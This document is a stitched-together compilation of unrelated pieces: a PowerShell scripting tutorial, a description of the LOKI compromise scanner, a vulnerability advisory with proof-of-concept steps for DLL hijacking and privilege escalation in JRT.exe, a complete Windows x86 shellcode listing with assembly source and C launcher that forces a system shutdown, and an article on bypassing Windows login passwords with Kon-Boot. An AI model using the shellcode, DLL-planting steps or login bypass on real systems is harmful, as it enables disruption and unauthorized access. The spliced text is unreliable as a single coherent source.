It doesn’t matter where you place the curly brackets. However, what does matter is that you be consistent in your placement so your scripts are easier to read. It’s also important to indent, to the exact same level, every line within the curly brackets.

The Windows PowerShell ISE lets you use the Tab key for that purpose, and it defaults to a four-character indent. Indenting your code is a core best practice. If you don’t, you’ll have a tough time properly matching opening and closing curly brackets in complex scripts. Also, all of the other Windows PowerShell kids will make fun of you. Consider this poorly formatted script:

  1. function mine {
  2. if ($this -eq $that){
  3. get-service
  4. }}

That’s a lot harder to read, debug, troubleshoot and maintain. While the space after the closing parentheses isn’t necessary, it does make your script easier to read. The indented code isn’t necessary, but it makes your script easier to follow. Consider this instead:

  1. function mine {
  2. if ($this -eq $that){
  3. get-service
  4. }
  5. }

Placing a single closing curly bracket on a line by itself isn’t required by the shell, but it’s appreciated by human eyes. Be a neat formatter, and you’ll have fewer problems in your scripts.

The Do While Construct

This is a looping construct in Windows PowerShell. It’s designed to repeat a block of commands as long as some condition is True, or until a condition becomes True. Here’s the basic usage:

  1. Do {
  2. # commands
  3. } While ($this -eq $that)

In this variation of the construct, the commands within the curly brackets will always execute at least once. The While condition isn’t evaluated until after the first execution. You can move the While, in which case the commands will only execute if the condition is True in the first place:

  1. While (Test-Path $path) {
  2. # commands
  3. }

Notice the second example doesn’t use a comparison operator such as -eq. That’s because the Test-Path cmdlet happens to return True or False to begin with. There’s no need to compare that to True or False in order for the expression to work.

The parenthetical expression used with these scripting constructs merely needs to simplify down to True or False. If you’re using a command such as Test-Path, which always returns True or False, that’s all you need. As always, there’s an “about” topic in the shell that demonstrates other ways to use this construct.

The ForEach Construct

This construct is similar in operation to the ForEach-Object cmdlet. It differs only in its syntax. The purpose of ForEach is to take an array (or collection, which in Windows PowerShell is the same as an array) and enumerate the objects in the array so you can work with one at a time:

  1. $services = Get-Service
  2. ForEach ($service in $services) {
  3. $service.Stop()
  4. }

It’s easy for newcomers to overthink this construct. Keep in mind that the plural English word “services” doesn’t mean anything to Windows PowerShell. That variable name is used to remind us it contains one or more services. Just because it’s plural doesn’t make the shell behave in a special fashion.

The “in” keyword on line two is part of the ForEach syntax. The $service variable is made up. It could easily have

been $fred or $coffee and it would have worked in just the same way.

Windows PowerShell will repeat the construct’s commands—the ones contained within curly brackets—one time for each object in the second variable ($services). Each time, it will take a single object from the second variable ($services) and place it in the first variable ($service).

Within this construct, use the first variable ($service) to work with an individual object. On line three, the period indicates “I don’t want to work with the entire object, just one of its members—the Stop method.”

There are times when using ForEach is inevitable and desirable. However, if you have a bit of programming or scripting experience, you can sometimes leap to using ForEach when it isn’t the best approach. The previous example isn’t a good reason to use ForEach. Wouldn’t this be easier:

  1. Get-Service | Stop-Service

The point here is to evaluate your use of ForEach. Make sure it’s the only way to accomplish the task at hand. Here are some instances where ForEach is probably the only way to go:

  • When you need to execute a method against a bunch of objects and there’s no cmdlet that performs the equivalent action.
  • When you have a bunch of objects and need to perform several consecutive actions against each.
  • When you have an action that can only be performed against one object at a time, but your script may be working with one or more objects, and you have no way of knowing in advance.

Other Constructs

Windows PowerShell has several other scripting constructs, including Switch, For and so on. These are all documented in “about” help topics within the shell. Sometimes, you can use the constructs covered here to replace those other constructs. For example, you can replace Switch with an If construct that uses multiple ElseIf sections. You can replace For with ForEach, or even with the ForEach-Object cmdlet. For example, having a loop that executes exactly 10 times:

  1. 1..10 | ForEach-Object -process {
  2. # code here will repeat 10 times
  3. # use $_ to access the current iteration
  4. # number
  5. }

It’s up to you to select the best construct to get the job done. If you’re browsing the Internet for scripts, be prepared to run across any and all variations.


A function is a special kind of construct used to contain a group of related commands that perform a single, specific task. Generally speaking, you can take any Windows PowerShell script and “wrap” it within a function:

  1. function Mine {
  2. Get-Service
  3. Get-Process
  4. }
  5. Mine

This defines a new function called “Mine.” That basically turns Mine into a command, meaning you can run the function simply by entering its name. That’s what line five does. It runs the function.

Functions are typically contained within a script file. A single script can contain multiple functions. Functions can themselves even contain other functions.

However, functions are scoped items. That means you can only use a function within the same scope in which it was created. If you put a function into a script, and then run that script, the function will only be available within the script and only for the duration of the script. When the script finishes running, the function—like everything else in the script’s scope—goes away. Here’s one example:

  1. function One {
  2. function Two {
  3. Dir
  4. }
  5. Two
  6. }
  7. One
  8. Two

Suppose you enter this into a single script file and run that script. Line seven executes the function One, which starts on line one. Line five executes a function named Two, which starts on line two. So the result will be a directory listing, which is on line three inside function Two.

However, the next line to execute will be line eight, and that will result in an error. The script doesn’t contain a function named Two. Function Two is buried within function One. As a result, that exists within the function One scope. Only other things within function One can see Two. Attempting to call Two from anyplace else will result in an error.

Adding Parameters to a Script

It’s rare to create a script that’s intended to do exactly the same thing every time it runs. More frequently, you’ll have scripts that contain some kind of variable data or variable behavior. You can accommodate these variations with parameters.

Parameters are defined in a special way at the top of the script. You can precede this definition with comments, but it must otherwise be the first executable lines of code within the script. Within the parameter definition area, each parameter is separated from the next by a comma. In keeping with the idea of neat formatting, it helps to place each parameter on a line of its own. Here is an example:

  1. param (
  2. [string]$computername,
  3. [string]$logfile,
  4. [int]$attemptcount = 5
  5. )

This example defines three parameters. Within the script, these are simply used like any other variable. You’ll notice that on line four, I assigned a default value to the $attemptcount parameter. The default will be overridden by any input parameter, but will be used if the script is run without that parameter being specified.

Here are several ways in which the script might be run, assuming I saved it as Test.ps1:

  1. ./test -computername SERVER
  2. ./test -comp SERVER -log err.txt -attempt 2
  3. ./test SERVER err.txt 2
  4. ./test SERVER 2
  5. ./test -log err.txt -attempt 2 -comp SERVER

The script accepts parameters pretty much like any cmdlet. Variable names are used as the parameter names, specified with the usual dash that precedes all parameter names in Windows PowerShell. Here’s a breakdown of how it works:

  • On line one, I’m only specifying one of the parameters—$logfile will thus be empty, and $attemptcount will contain 5, its default.
  • On line two, I’m specifying all three parameters, although I’m doing so using shortened parameter names. As with cmdlets, you only need to type enough of the parameter name for Windows PowerShell to know which one you’re talking about.
  • Line three shows me again all three parameters, although I’m doing so positionally, without using parameter names. As long as I remember to provide values in the exact order in which the parameters are listed in the script, this will work fine.
  • Line four shows what happens if you’re not careful. Here, $computername will contain ‘SERVER’ and $logfile will contain 2, while $attemptcount will contain 5. That’s probably not what I intended. When you don’t use parameter names, it’s harder to be flexible. It’s also more difficult for someone else to decode what you meant, which makes it harder for them to troubleshoot any problems.
  • Line five is a better example. Here, I’ve specified parameters out of order, but that’s fine because I used parameter names. As a general rule, I always use parameter names for the greatest degree of flexibility. I don’t need to remember the order in which they came.
Advanced Scripts

Windows PowerShell supports a technique for specifying additional information about parameters. This lets you declare a parameter as mandatory, accepting input from the pipeline and so forth. This technique is called Cmdlet Binding.

It doesn’t change the way the script uses parameters. It simply gives the shell a bit more information about the parameters. You’ll find this technique more commonly used in a function, but the syntax is valid within a script as well. Here’s a simple example:

  1. [CmdletBinding()]
  2. param (
  3. [Parameter(Mandatory=$True)]
  4. [string]$computername,
  5. [Parameter(Mandatory=$True)]
  6. [string]$logfile,
  7. [int]$attemptcount = 5
  8. )

All I added was the [CmdletBinding()] instruction as the first executable line of code within the script. It’s okay for comments to precede this, but nothing else. I also added a [Parameter()] instruction to two of my parameters. Within that [Paramater()] instruction, I’ve indicated that these parameters are mandatory. Now, if someone tries to run the script without specifying these parameters, Windows PowerShell will prompt them for the information.

Notice that the last parameter doesn’t have any special instructions, and all three parameters still appear in a comma-separated list (meaning the first two parameters are followed by commas). There are a ton of other instructions you can specify for a parameter, which you can read about in theabout_functions_advanced_parameters help topic.

This was a whirlwind review of some key Windows PowerShell scripting-related concepts. I hope you’ve learned a thing or two. Being able to build parameterized scripts is especially useful, because you can make scripts that look and behave like Windows PowerShell native cmdlets.

LOKI – Indicators Of Compromise Scanner

Loki is a Indicators Of Compromise Scanner, based on 4 main methods (additional checks are available) and will present a report showing GREEN, YELLOW or RED result lines.

LOKI - Indicators Of Compromise Scanner

The compiled scanner may be detected by antivirus engines. This is caused by the fact that the scanner is a compiled python script that implement some file system and process scanning features that are also used in compiled malware code.

If you don’t trust the compiled executable, please compile it yourself.


Detection is based on four detection methods:

  • File Name IOC – Regex match on full file path/name
  • Yara Rule Check – Yara signature match on file data and process memory
  • Hash Check – Compares known malicious hashes (MD5, SHA1, SHA256)
  • C2 Back Connect Check – Compares process connection endpoints with C2 IOCs

There are also some additional checks available:

  • Regin filesystem check (via –reginfs)
  • Process anomaly check
  • SWF decompressed scan
  • SAM dump check

Included IOCs

Loki currently includes the following IOCs:


  • Equation Group Malware (Hashes, Yara Rules by Kaspersky and 10 custom rules generated by us)
  • Carbanak APT – (Hashes, Filename IOCs – no service detection and Yara rules)
  • Arid Viper APT – (Hashes)
  • Anthem APT Deep Panda Signatures (not officialy confirmed)/li>
  • Regin Malware (GCHQ / NSA / FiveEyes) (incl. Legspin and Hopscotch)
  • Five Eyes QUERTY Malware
  • Skeleton Key Malware (other state-sponsored Malware)
  • WoolenGoldfish – (SHA1 hashes, Yara rules)
  • OpCleaver (Iranian APT campaign)
  • More than 180 hack tool Yara rules
  • More than 600 web shell Yara rules
  • Numerous suspicious file name regex signatures


The Windows binary is compiled with PyInstaller 2.1 and should run as x86 application on both x86 and x64 based systems.

You can download Loki here:


Junkware Removal Tool DLL Hijacking

JRT.exe (see <>)

1. is vulnerable to DLL hijacking:
   see <>
   and <> for
   these WELL-KNOWN and WELL-DOCUMENTED beginner's errors;

2. creates an unsafe directory "%TEMP%\jrt":
   see <>
   and <> for
   these WELL-KNOWN and WELL-DOCUMENTED beginner's errors!

An attacker can exploit these vulnerabilities to gain
arbitrary code execution WITH escalation of privilege.

Ad 1.:

Applications which are offered as downloads to unsuspecting users
will typically be saved into the users "Downloads" directory ...
which is but a digital minefield: see
and <>

On a fully patched Windows 7 SP1, JRT.exe loads and executes the
following DLLs from its "application directory" (which usually
happens to be the users "Downloads" directory):
    UXTheme.dll, DWMAPI.dll, PropSys.dll, NTMARTA.dll, Version.dll,

On other versions of Windows this list varies slightly, but JRT.exe
ALWAYS loads some DLLs from its "application directory".

Due to its embedded application manifest which specifies
"requireAdministrator", JRT.exe runs with administrative privileges:
all DLLs it loads and executes run with administrative privileges
too, resulting in arbitrary code execution WITH elevation of

If an attacker is able to place the DLLs named above per "drive-by
download" in the users "Downloads" directory this becomes a remote
code execution WITH elevation of privilege.

Proof of concept:

1. download <>
   and save it as UXTheme.dll, DWMAPI.dll, PropSys.dll, NTMARTA.dll,
   Version.dll, Secur32.dll in your "Downloads" directory;

2. download <> and
   save it in your "Downloads" directory;

3. start the downloaded JRT.exe and notice the message boxes
   displayed from the DLLs planted in step 1.


Ad 2.:

Upon execution JRT.exe creates the directory "%TEMP%\jrt", extracts
its payload into it and starts Windows' command processor (with
administrative privileges too) to run the extracted batch script

The directory "%TEMP%\jrt" inherits the NTFS permissions of its
parent "%TEMP%", allowing FULL access for the respective user

In the "protected" alias UAC-controlled administrator account
created during Windows setup, "%TEMP%\jrt" is writable without
administrative privileges: the unprivileged user (or any process
running without elevation under this user account) can watch for
the creation of this directory and then (over)write any file
DLLs which the *.DAT load from their "application directory")
again gaining elavation of privilege.

Proof of concept:

1. download <>
   and save it in your "Downloads" directory;

2. create the following batch script in an arbitrary directory:

--- POC.CMD ---
@If Not Exist "%TEMP%\jrt" Goto :WAIT

--- EOF ---

3. download <> and
   save it in your "Downloads" directory;

4. start the batch script POC.CMD;

5. start the downloaded JRT.exe and notice the message boxes
   displayed from the *.COM.



* Don't use executable installers!

* Don't use crapware which runs executables from unsafe
  directories like %TEMP%!

* Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of "%TEMP%"; use
  <> to
  decode it to "deny execution of files in this directory for
  everyone, inheritable to all files in all subdirectories".

stay tuned
Stefan Kanthak


2016-08-06    vulnerability report sent to vendor

              NO RESPONSE

2016-08-15    report published


Windows x86 InitiateSystemShutdownA() Shellcode

    # Title: Windows x86 InitiateSystemShutdownA() shellcode
    # Date : 18-08-2016
    # Tested on : Windows 7 x86 starter
Disassembly of section .text:
00000000 <_start>:
   0:   31 c9                   xor    %ecx,%ecx
   2:   64 8b 41 30             mov    %fs:0x30(%ecx),%eax
   6:   8b 40 0c                mov    0xc(%eax),%eax
   9:   8b 70 14                mov    0x14(%eax),%esi
   c:   ad                      lods   %ds:(%esi),%eax
   d:   96                      xchg   %eax,%esi
   e:   ad                      lods   %ds:(%esi),%eax
   f:   8b 48 10                mov    0x10(%eax),%ecx
  12:   8b 59 3c                mov    0x3c(%ecx),%ebx
  15:   01 cb                   add    %ecx,%ebx
  17:   8b 5b 78                mov    0x78(%ebx),%ebx
  1a:   01 cb                   add    %ecx,%ebx
  1c:   8b 73 20                mov    0x20(%ebx),%esi
  1f:   01 ce                   add    %ecx,%esi
  21:   31 d2                   xor    %edx,%edx
00000023 <g>:
  23:   42                      inc    %edx
  24:   ad                      lods   %ds:(%esi),%eax
  25:   01 c8                   add    %ecx,%eax
  27:   81 38 47 65 74 50       cmpl   $0x50746547,(%eax)
  2d:   75 f4                   jne    23 <g>
  2f:   81 78 04 72 6f 63 41    cmpl   $0x41636f72,0x4(%eax)
  36:   75 eb                   jne    23 <g>
  38:   81 78 08 64 64 72 65    cmpl   $0x65726464,0x8(%eax)
  3f:   75 e2                   jne    23 <g>
  41:   8b 73 1c                mov    0x1c(%ebx),%esi
  44:   01 ce                   add    %ecx,%esi
  46:   8b 14 96                mov    (%esi,%edx,4),%edx
  49:   01 ca                   add    %ecx,%edx
  4b:   89 cf                   mov    %ecx,%edi
  4d:   31 c0                   xor    %eax,%eax
  4f:   50                      push   %eax
  50:   83 ec 1c                sub    $0x1c,%esp
  53:   8d 34 24                lea    (%esp),%esi
  56:   89 16                   mov    %edx,(%esi)
  58:   50                      push   %eax
  59:   68 6f 6b 65 6e          push   $0x6e656b6f
  5e:   68 65 73 73 54          push   $0x54737365
  63:   68 50 72 6f 63          push   $0x636f7250
  68:   68 4f 70 65 6e          push   $0x6e65704f
  6d:   8d 04 24                lea    (%esp),%eax
  70:   50                      push   %eax
  71:   51                      push   %ecx
  72:   ff d2                   call   *%edx
  74:   89 46 04                mov    %eax,0x4(%esi)
  77:   83 c4 10                add    $0x10,%esp
  7a:   31 c9                   xor    %ecx,%ecx
  7c:   68 73 41 42 42          push   $0x42424173
  81:   88 4c 24 01             mov    %cl,0x1(%esp)
  85:   68 6f 63 65 73          push   $0x7365636f
  8a:   68 6e 74 50 72          push   $0x7250746e
  8f:   68 75 72 72 65          push   $0x65727275
  94:   68 47 65 74 43          push   $0x43746547
  99:   8d 0c 24                lea    (%esp),%ecx
  9c:   51                      push   %ecx
  9d:   57                      push   %edi
  9e:   8b 16                   mov    (%esi),%edx
  a0:   ff d2                   call   *%edx
  a2:   83 c4 14                add    $0x14,%esp
  a5:   89 46 08                mov    %eax,0x8(%esi)
  a8:   31 c9                   xor    %ecx,%ecx
  aa:   68 65 73 73 41          push   $0x41737365
  af:   88 4c 24 03             mov    %cl,0x3(%esp)
  b3:   68 50 72 6f 63          push   $0x636f7250
  b8:   68 45 78 69 74          push   $0x74697845
  bd:   8d 0c 24                lea    (%esp),%ecx
  c0:   51                      push   %ecx
  c1:   57                      push   %edi
  c2:   8b 16                   mov    (%esi),%edx
  c4:   ff d2                   call   *%edx
  c6:   83 c4 0c                add    $0xc,%esp
  c9:   89 46 0c                mov    %eax,0xc(%esi)
  cc:   31 c9                   xor    %ecx,%ecx
  ce:   51                      push   %ecx
  cf:   68 61 72 79 41          push   $0x41797261
  d4:   68 4c 69 62 72          push   $0x7262694c
  d9:   68 4c 6f 61 64          push   $0x64616f4c
  de:   8d 0c 24                lea    (%esp),%ecx
  e1:   51                      push   %ecx
  e2:   57                      push   %edi
  e3:   8b 16                   mov    (%esi),%edx
  e5:   ff d2                   call   *%edx
  e7:   83 c4 0c                add    $0xc,%esp
  ea:   68 2e 64 6c 6c          push   $0x6c6c642e
  ef:   68 70 69 33 32          push   $0x32336970
  f4:   68 61 64 76 61          push   $0x61766461
  f9:   8d 0c 24                lea    (%esp),%ecx
  fc:   51                      push   %ecx
  fd:   ff d0                   call   *%eax
  ff:   83 c4 0c                add    $0xc,%esp
 102:   89 c7                   mov    %eax,%edi
 104:   31 c9                   xor    %ecx,%ecx
 106:   68 41 42 42 42          push   $0x42424241
 10b:   88 4c 24 01             mov    %cl,0x1(%esp)
 10f:   68 61 6c 75 65          push   $0x65756c61
 114:   68 65 67 65 56          push   $0x56656765
 119:   68 69 76 69 6c          push   $0x6c697669
 11e:   68 75 70 50 72          push   $0x72507075
 123:   68 4c 6f 6f 6b          push   $0x6b6f6f4c
 128:   8d 0c 24                lea    (%esp),%ecx
 12b:   51                      push   %ecx
 12c:   50                      push   %eax
 12d:   8b 16                   mov    (%esi),%edx
 12f:   ff d2                   call   *%edx
 131:   83 c4 18                add    $0x18,%esp
 134:   89 46 10                mov    %eax,0x10(%esi)
 137:   31 c9                   xor    %ecx,%ecx
 139:   68 73 41 41 41          push   $0x41414173
 13e:   88 4c 24 01             mov    %cl,0x1(%esp)
 142:   68 6c 65 67 65          push   $0x6567656c
 147:   68 72 69 76 69          push   $0x69766972
 14c:   68 6b 65 6e 50          push   $0x506e656b
 151:   68 73 74 54 6f          push   $0x6f547473
 156:   68 41 64 6a 75          push   $0x756a6441
 15b:   8d 0c 24                lea    (%esp),%ecx
 15e:   51                      push   %ecx
 15f:   57                      push   %edi
 160:   8b 16                   mov    (%esi),%edx
 162:   ff d2                   call   *%edx
 164:   83 c4 18                add    $0x18,%esp
 167:   89 46 14                mov    %eax,0x14(%esi)
 16a:   31 c9                   xor    %ecx,%ecx
 16c:   68 77 6e 41 42          push   $0x42416e77
 171:   88 4c 24 03             mov    %cl,0x3(%esp)
 175:   68 75 74 64 6f          push   $0x6f647475
 17a:   68 65 6d 53 68          push   $0x68536d65
 17f:   68 53 79 73 74          push   $0x74737953
 184:   68 69 61 74 65          push   $0x65746169
 189:   68 49 6e 69 74          push   $0x74696e49
 18e:   8d 0c 24                lea    (%esp),%ecx
 191:   51                      push   %ecx
 192:   57                      push   %edi
 193:   8b 16                   mov    (%esi),%edx
 195:   ff d2                   call   *%edx
 197:   83 c4 18                add    $0x18,%esp
 19a:   89 46 18                mov    %eax,0x18(%esi)
 19d:   31 c0                   xor    %eax,%eax
 19f:   50                      push   %eax
 1a0:   83 ec 14                sub    $0x14,%esp
 1a3:   8d 3c 24                lea    (%esp),%edi
000001a6 <proc_start>:
 1a6:   8b 46 08                mov    0x8(%esi),%eax
 1a9:   ff d0                   call   *%eax
 1ab:   31 d2                   xor    %edx,%edx
 1ad:   8d 17                   lea    (%edi),%edx
 1af:   52                      push   %edx
 1b0:   31 c9                   xor    %ecx,%ecx
 1b2:   b1 28                   mov    $0x28,%cl
 1b4:   51                      push   %ecx
 1b5:   50                      push   %eax
 1b6:   8b 4e 04                mov    0x4(%esi),%ecx
 1b9:   ff d1                   call   *%ecx
 1bb:   8d 57 04                lea    0x4(%edi),%edx
 1be:   8d 52 04                lea    0x4(%edx),%edx
 1c1:   8d 12                   lea    (%edx),%edx
 1c3:   31 c9                   xor    %ecx,%ecx
 1c5:   68 65 67 65 41          push   $0x41656765
 1ca:   88 4c 24 03             mov    %cl,0x3(%esp)
 1ce:   68 69 76 69 6c          push   $0x6c697669
 1d3:   68 77 6e 50 72          push   $0x72506e77
 1d8:   68 75 74 64 6f          push   $0x6f647475
 1dd:   68 53 65 53 68          push   $0x68536553
 1e2:   8d 0c 24                lea    (%esp),%ecx
 1e5:   31 db                   xor    %ebx,%ebx
 1e7:   52                      push   %edx
 1e8:   51                      push   %ecx
 1e9:   53                      push   %ebx
 1ea:   8b 5e 10                mov    0x10(%esi),%ebx
 1ed:   ff d3                   call   *%ebx
 1ef:   8d 57 04                lea    0x4(%edi),%edx
 1f2:   31 c9                   xor    %ecx,%ecx
 1f4:   41                      inc    %ecx
 1f5:   89 0a                   mov    %ecx,(%edx)
 1f7:   8d 52 04                lea    0x4(%edx),%edx
 1fa:   41                      inc    %ecx
 1fb:   89 4a 08                mov    %ecx,0x8(%edx)
 1fe:   31 d2                   xor    %edx,%edx
 200:   52                      push   %edx
 201:   52                      push   %edx
 202:   52                      push   %edx
 203:   8d 57 04                lea    0x4(%edi),%edx
 206:   52                      push   %edx
 207:   31 d2                   xor    %edx,%edx
 209:   52                      push   %edx
 20a:   8b 17                   mov    (%edi),%edx
 20c:   52                      push   %edx
 20d:   8b 56 14                mov    0x14(%esi),%edx
 210:   ff d2                   call   *%edx
 212:   31 c9                   xor    %ecx,%ecx
 214:   51                      push   %ecx
 215:   68 6e 64 73 21          push   $0x2173646e
 21a:   68 73 65 63 6f          push   $0x6f636573
 21f:   68 41 20 33 20          push   $0x20332041
 224:   68 6d 2e 45 54          push   $0x54452e6d
 229:   68 79 73 74 65          push   $0x65747379
 22e:   68 6e 67 20 53          push   $0x5320676e
 233:   68 61 72 74 49          push   $0x49747261
 238:   68 52 65 73 74          push   $0x74736552
 23d:   8d 1c 24                lea    (%esp),%ebx
 240:   41                      inc    %ecx
 241:   51                      push   %ecx
 242:   31 c9                   xor    %ecx,%ecx
 244:   51                      push   %ecx
 245:   b1 03                   mov    $0x3,%cl
 247:   51                      push   %ecx
 248:   53                      push   %ebx
 249:   31 c9                   xor    %ecx,%ecx
 24b:   51                      push   %ecx
 24c:   8b 4e 18                mov    0x18(%esi),%ecx
 24f:   ff d1                   call   *%ecx
 251:   8b 4e 0c                mov    0xc(%esi),%ecx
 254:   50                      push   %eax
 255:   ff d1                   call   *%ecx
HANDLE 4 bytes
LUID 8 bytes
SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
required functions:
1.  WINADVAPI WINBOOL WINAPI OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
3.  WINADVAPI WINBOOL WINAPI LookupPrivilegeValueA (LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
4.  WINADVAPI WINBOOL WINAPI AdjustTokenPrivileges (HANDLE TokenHandle, WINBOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
5.  WINADVAPI WINBOOL WINAPI InitiateSystemShutdownA(LPSTR lpMachineName,LPSTR lpMessage,DWORD dwTimeout,WINBOOL bForceAppsClosed,WINBOOL bRebootAfterShutdown);
8.LoadLibraryA() [1 time use]
required dll:
required macro and custom data types:
     typedef struct _TOKEN_PRIVILEGES {
      DWORD PrivilegeCount;
     typedef struct _LUID_AND_ATTRIBUTES {
      LUID Luid;
      DWORD Attributes;
     typedef struct _LUID {
    DWORD LowPart;
    LONG HighPart;
c code:
#include <windows.h>
int main(){
    HANDLE h;
    if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&h))
    return 0;
    AdjustTokenPrivileges(h, FALSE, &t, 0,NULL, 0);
section .text
    global _start
xor ecx,ecx
mov eax,[fs:ecx+0x30] ;PEB
mov eax,[eax+0xc] ;PEB->Ldr
mov esi,[eax+0x14] ;PEB->ldr.InMemOrderModuleList
xchg esi,eax
mov ecx,[eax+0x10] ;kernel32.dll base address
mov ebx,[ecx+0x3c] ;DOS->elf_anew
add ebx,ecx ;PE HEADER
mov ebx,[ebx+0x78] ;DataDirectory->VirtualAddress
mov esi,[ebx+0x20] ;AddressOfNames
add esi,ecx
xor edx,edx
inc edx
add eax,ecx
cmp dword [eax],'GetP'
jnz g
cmp dword [eax+4],'rocA'
jnz g
cmp dword [eax+8],'ddre'
jnz g
mov esi,[ebx+0x1c] ;AddressOfFunctions
add esi,ecx
mov edx,[esi+edx*4]
add edx,ecx ;GetProcAddress()
mov edi,ecx ;kernel32.dll
xor eax,eax
push eax
sub esp,28
lea esi,[esp]
mov [esi],dword edx ;GetProcAddress() at offset 0
;finding address of OpenProcessToken()
push eax
push 0x6e656b6f
push 0x54737365
push 0x636f7250
push 0x6e65704f
lea eax,[esp]
push eax
push ecx
call edx
mov [esi+4],dword eax ;OpenProcessToken() at offset 4
add esp,0x10
;finding address of GetCurrentProcess()
xor ecx,ecx
push 0x42424173
mov [esp+1],byte cl
push 0x7365636f
push 0x7250746e
push 0x65727275
push 0x43746547
lea ecx,[esp]
push ecx
push edi
mov edx,dword [esi]
call edx
add esp,20
mov [esi+8],dword eax ;GetCurrentProcess() at offset 8
;finding address of ExitProcess()
xor ecx,ecx
push 0x41737365
mov [esp+3],byte cl
push 0x636f7250
push 0x74697845
lea ecx,[esp]
push ecx
push edi
mov edx,dword [esi]
call edx
add esp,12
mov [esi+12],dword eax ;ExitProcess() at offset 12
;finding address of LoadLibraryA()
xor ecx,ecx
push ecx
push 0x41797261
push 0x7262694c
push 0x64616f4c
lea ecx,[esp]
push ecx
push edi
mov edx,dword [esi]
call edx
add esp,12
push 0x6c6c642e
push 0x32336970
push 0x61766461
lea ecx,[esp]
push ecx
call eax
add esp,12
mov edi,eax ; advapi32.dll
;finding address of LookupPrivilegeValueA()
xor ecx,ecx
push 0x42424241
mov [esp+1],byte cl
push 0x65756c61
push 0x56656765
push 0x6c697669
push 0x72507075
push 0x6b6f6f4c
lea ecx,[esp]
push ecx
push eax
mov edx,dword [esi]
call edx
add esp,0x18
mov [esi+16],dword eax ;LookupPrivilegeValueA() at offset 16
;finding address of AdjustTokenPrivileges()
xor ecx,ecx
push 0x41414173
mov [esp+1],byte cl
push 0x6567656c
push 0x69766972
push 0x506e656b
push 0x6f547473
push 0x756a6441
lea ecx,[esp]
push ecx
push edi
mov edx,dword [esi]
call edx
add esp,0x18
mov [esi+20],dword eax ;AdjustTokenPrivileges() at offset 20
;finding address of InitiateSystemShutdownA()
xor ecx,ecx
push 0x42416e77
mov [esp+3],byte cl
push 0x6f647475
push 0x68536d65
push 0x74737953
push 0x65746169
push 0x74696e49
lea ecx,[esp]
push ecx
push edi
mov edx,dword [esi]
call edx
add esp,0x18
mov [esi+24],dword eax ;InitiateSystemShutdownA() at offset 24
xor eax,eax
push eax
sub esp,20
lea edi,[esp] ;HANDLE+TOKEN_PRIVILEGES address
;GetProcAddress() at offset 0
;OpenProcessToken() at offset 4
;GetCurrentProcess() at offset 8
;ExitProcess() at offset 12
;LookupPrivilegeValueA() at offset 16
;AdjustTokenPrivileges() at offset 20
;InitiateSystemShutdownA() at offset 24
mov eax,[esi+8]
call eax
xor edx,edx
lea edx,[edi]
push edx
xor ecx,ecx
mov cl,40
push ecx
push eax
mov ecx,[esi+4]
call ecx
lea edx,[edi+4]
lea edx,[edx+4]
lea edx,[edx]
xor ecx,ecx
push 0x41656765
mov [esp+3],byte cl
push 0x6c697669
push 0x72506e77
push 0x6f647475
push 0x68536553
lea ecx,[esp]
xor ebx,ebx
push edx
push ecx
push ebx
mov ebx,[esi+16]
call ebx
;AdjustTokenPrivileges(HANDLE, FALSE, &TOKEN_PRIVILEGES, 0,NULL, 0);
lea edx,[edi+4]
xor ecx,ecx
inc ecx
mov [edx],dword ecx
lea edx,[edx+4]
inc ecx
mov [edx+8],dword ecx
xor edx,edx
push edx
push edx
push edx
lea edx,[edi+4]
push edx
xor edx,edx
push edx
mov edx,dword [edi]
push edx
mov edx,[esi+20]
call edx
;InitiateSystemShutdownA(NULL,"RestartIng System.ETA 3 seconds!",3,FALSE,1);
xor ecx,ecx
push ecx
push 0x2173646e
push 0x6f636573
push 0x20332041
push 0x54452e6d
push 0x65747379
push 0x5320676e
push 0x49747261
push 0x74736552
lea ebx,[esp] ;Message "RestartIng System.ETA 3 seconds!"
inc ecx ;if U want to shutdown system , just remove this line
push ecx
xor ecx,ecx
push ecx
mov cl,3 ;3 seconds
push ecx
push ebx 
xor ecx,ecx
push ecx
mov ecx,[esi+24]
call ecx
mov ecx,[esi+12]
push eax
call ecx
char shellcode[]=\
printf("shellcode lenght %ld\n",(long)strlen(shellcode));
(* (int(*)()) shellcode) ();


Use Kon-Boot to Login to Windows Without Knowing or Changing the Current Password

One of the most obvious and easiest ways to add another layer of protection to your computer is protecting your account with a password. It’s easy enough to do and you can either supply a new password during install, on first run of your new computer or later on through User Accounts in Control Panel. Although not quite as important on a single user machine, passwords are essential when multiple users have access to the same computer or when trying to lock down your child’s user account with parental controls etc.

One of the most common and also frustrating problems you’ll encounter when attempting to troubleshoot or repair a computer, is either the user has forgotten or doesn’t know the logon password or they’re not available to give you that important piece of information. Knowledgeable users will know this actually isn’t as big a problem as it seems and there are various ways to get around a Windows logon password without knowing what it is.

incorrect password during login

For example, if no-one knows or remembers it, the password can be removed from the user account and reset by using a utility from a boot CD. If you want to find out what the password is without resetting it first, you can try to crack it with a tool such as Ophcrack. A few years back we also wrote about a program called DreamPack PL where you can hack into a Windows XP computer without changing the password. Each method has its plus and minus points, but there’s also another way to login to a computer where you don’t actually make any permanent changes to the computer or need to reset/remove the password at all.

Kon-Boot is one of the best tools around which can log you into Windows without knowing the password. It works by hooking into the system BIOS and temporarily changing the contents of the Windows kernel while booting. It then allows you to enter anything as the password during login. The next time you start the computer without Kon-Boot, the original password will be back, the temporary changes will be discarded and the system will behave as if nothing has happened. Kon-Boot has been around a while and updates have brought new features such as privilege escalation and the sticky keys workaround while adding compatibility for more recent operating systems such as Windows 8, 64-bit architecture and UEFI support. The program is split into 2 distinct versions; Kon-Boot free version 1.1 and the paid version (currently 2.2) which has newer features.

Kon-Boot Free Version

Because the last free version of Kon-Boot is 1.1, it lacks some features found in subsequent versions and is a bit limited regarding which Windows operating systems it can work with. For instance, it does not work with any type of 64-bit Windows and is also not compatible with any versions of Windows 8. There is some good news however, the website lists Windows 7 as not compatible either, but we’ve tested extensively and used Kon-Boot on several occasions without issue in any 32-bit version of Windows 7. XP, Vista and Server 2003/2008 are officially supported.

